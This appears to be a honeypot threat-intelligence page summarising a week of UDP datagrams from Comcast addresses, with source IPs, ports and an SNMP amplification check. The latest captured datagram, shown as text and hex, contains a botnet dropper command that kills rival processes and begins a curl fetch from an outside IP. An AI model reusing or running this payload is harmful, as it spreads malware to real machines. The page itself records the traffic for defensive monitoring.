HoneyLabs

UDP traffic

Datagrams matching asn:7922 sent to HoneyLabs sensors over UDP in the last 7 days. DNS questions and QUIC client fingerprints are decoded on the sensor. Other datagrams are kept as their first bytes and labelled by protocol where it can be recognised.

A UDP source address can be forged, so each address listed here either sent the traffic or was impersonated by whoever did. UDP traffic is kept out of verdicts, feeds, watchlists and alerts.

27

Datagrams

4

Source addresses

1

Networks

1

Countries

4

Destination ports

Traffic by type

Unrecognised

27 datagrams from 4 sources

Datagrams no decoder recognised. Their first bytes are kept.

Latest Unrecognised datagram, to 500/udp

CVUTTSWJ·) "·k·O·HAXBHAXBHAXBHAXBHAXBHAXBHAXBHAXBHAXBHAXBHAXBHAXB";for p in /proc/[0-9]*;do pi=${p##*/};el=`ls -l "$p/exe"`||continue;case "$el" in */lib/*) continue;;esac;case "$el" in */tmp/*|*/var/*|*/dev/*|*/mnt/*)kill -9 "$pi";;esac;done;(curl -s http://94.249.230.216/rondo.`

payload bytes
00000000  43 56 55 54 54 53 57 4a  00 00 00 00 00 00 00 00  |CVUTTSWJ........|
00000010  29 20 22 08 00 00 00 00  00 00 01 6b 00 00 01 4f  |) "........k...O|
00000020  01 00 00 0e 48 41 58 42  48 41 58 42 48 41 58 42  |....HAXBHAXBHAXB|
00000030  48 41 58 42 48 41 58 42  48 41 58 42 48 41 58 42  |HAXBHAXBHAXBHAXB|
00000040  48 41 58 42 48 41 58 42  48 41 58 42 48 41 58 42  |HAXBHAXBHAXBHAXB|
00000050  48 41 58 42 22 3b 66 6f  72 20 70 20 69 6e 20 2f  |HAXB";for p in /|
00000060  70 72 6f 63 2f 5b 30 2d  39 5d 2a 3b 64 6f 20 70  |proc/[0-9]*;do p|
00000070  69 3d 24 7b 70 23 23 2a  2f 7d 3b 65 6c 3d 60 6c  |i=${p##*/};el=`l|
00000080  73 20 2d 6c 20 22 24 70  2f 65 78 65 22 60 7c 7c  |s -l "$p/exe"`|||
00000090  63 6f 6e 74 69 6e 75 65  3b 63 61 73 65 20 22 24  |continue;case "$|
000000a0  65 6c 22 20 69 6e 20 2a  2f 6c 69 62 2f 2a 29 20  |el" in */lib/*) |
000000b0  63 6f 6e 74 69 6e 75 65  3b 3b 65 73 61 63 3b 63  |continue;;esac;c|
000000c0  61 73 65 20 22 24 65 6c  22 20 69 6e 20 2a 2f 74  |ase "$el" in */t|
000000d0  6d 70 2f 2a 7c 2a 2f 76  61 72 2f 2a 7c 2a 2f 64  |mp/*|*/var/*|*/d|
000000e0  65 76 2f 2a 7c 2a 2f 6d  6e 74 2f 2a 29 6b 69 6c  |ev/*|*/mnt/*)kil|
000000f0  6c 20 2d 39 20 22 24 70  69 22 3b 3b 65 73 61 63  |l -9 "$pi";;esac|

Amplification checks

Probes for services that answer a small request with a much larger reply, the property reflection attacks rely on.

ServicePortDatagramsSourcesFactor
SNMPv2161/udp616.3

The factor is how many bytes a reachable server can send back for each byte it receives, as published by CISA in alert TA14-017A.

Destination ports

Networks

Countries

Source addresses (unverified)

AddressNetworkCcSendsDatagramsLast seen (UTC)
73.184.92.137AS7922 Comcast Cable Communications, LLCUSUnrecognised192026-10-12 00:48
73.213.113.73AS7922 Comcast Cable Communications, LLCUSUnrecognised62026-10-08 20:40
75.66.15.42AS7922 Comcast Cable Communications, LLCUSUnrecognised12026-10-06 14:15
173.10.2.113AS7922 Comcast Cable Communications, LLCUSUnrecognised12026-10-10 11:59

Latest datagrams